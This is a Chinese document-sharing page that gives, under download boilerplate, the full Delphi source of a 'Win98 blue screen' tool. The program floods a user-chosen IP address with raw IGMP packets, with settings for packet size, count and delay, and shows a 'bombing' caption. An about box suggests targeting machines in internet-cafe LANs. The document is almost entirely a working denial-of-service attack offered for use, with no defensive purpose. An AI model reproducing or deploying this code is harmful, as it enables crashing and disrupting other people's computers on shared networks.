WIN98蓝屏源代码
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
WIN98蓝屏源代码如下:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, Buttons, winsock, ExtCtrls, Spin,
jpeg;
type
TFormMain = class(TForm)
Timer1: TTimer;
Panel1: TPanel;
GroupBox1: TGroupBox;
Bevel1: TBevel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
EditTARGET: TEdit;
SpinEditPACKETSIZE: TSpinEdit;
SpinEditTIMES: TSpinEdit;
SpinEditDELAY: TSpinEdit;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
BitBtn4: TBitBtn;
Button2: TButton;
Label6: TLabel;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn4Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FormMain: TFormMain;
TargetAddr:TSockAddr;
PacketSize:Integer;
Times:Integer;
RawSocket:TSocket;
b00m:pchar;
implementation
{$R *.DFM}
procedure TFormMain.FormCreate(Sender: TObject);
var
wsaData:TWSAData;
begin
Caption := Application.Title;
if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin ShowMessage( '对不起,你的系统不支持本程序!' ); Application.Terminate;
end;
end;
procedure TFormMain.FormDestroy(Sender: TObject);
begin
WSACleanup;
end;
procedure TFormMain.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
BitBtn2Click( Sender );
exit;
end;
send (RawSocket, b00m, PacketSize, 0);
dec(Times);
end;
procedure TFormMain.BitBtn1Click(Sender: TObject);
begin
Formmain.Caption:='正在轰炸......';
label5.caption :=('请稍候');
if edittarget.Text ='' then
begin
button2.click;
end;
RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );
if RawSocket = INVALID_SOCKET then begin
ShowMessage( '对不起,不能生成IGMP包!' );
Application.Terminate;
end;
Timer1.Interval := SpinEditDELAY.Value ;
PacketSize := SpinEditPACKETSIZE.Value;
Times := SpinEditTIMES.Value;
TargetAddr.sa_family := AF_INET;
TargetAddr.sin_port := htons( 100 );
TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));
if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin ShowMessage( '找不到你所输的IP地址!' );
closesocket( RawSocket );
exit;
end;
getmem( b00m, PacketSize );
if b00m = NIL then begin
ShowMessage( '内存分配错!' );
closesocket( RawSocket );
Application.Terminate;
end;
BitBtn1.Enabled := False;
BitBtn2.Enabled := True;
Timer1.Enabled := True;
end;
procedure TFormMain.BitBtn4Click(Sender: TObject);
begin
Close;
end;
procedure TFormMain.BitBtn2Click(Sender: TObject);
begin
Timer1.Enabled := False;
FreeMem( b00m );
closesocket( RawSocket );
BitBtn2.Enabled := False;
BitBtn1.Enabled := True;
label5.caption :=('请指示');
Formmain.Caption:='程序空闲中... ';
end;
procedure TFormMain.Button2Click(Sender: TObject);
var
Text : String;
Caption : String;
begin
Text := '在网吧局域网中,一般主机IP地址为:192.168.0.1' +#13'而一号机IP地址一般为:192.168.0.2 以此类推'+#13'李琛编译制作 '+#13+'2002.10.7';
Caption := '关于';
MessageBox (0, PChar(Text), PChar(Caption),mb_ok or mb_iconinformation); end;
procedure TFormMain.FormShow(Sender: TObject);
var
wVersionRequested : WORD;
wsaData : TWSAData;
p : PHostEnt;
s : array[0..128] of char;
p2 : pchar;
OutPut:array[0..100] of char;
begin
wVersionRequested := MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);
GetHostName(@s, 128);
p := GetHostByName(@s);
p2 := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
StrPCopy(OutPut,'主机地址: '+Format('%s', [p^.h_Name])+#10#13+
'本机地址: '+Format('%s',[p2])
);
WSACleanup;
label6.caption:= '本机IP为: '+Format('%s',[p2]);
end;
end.。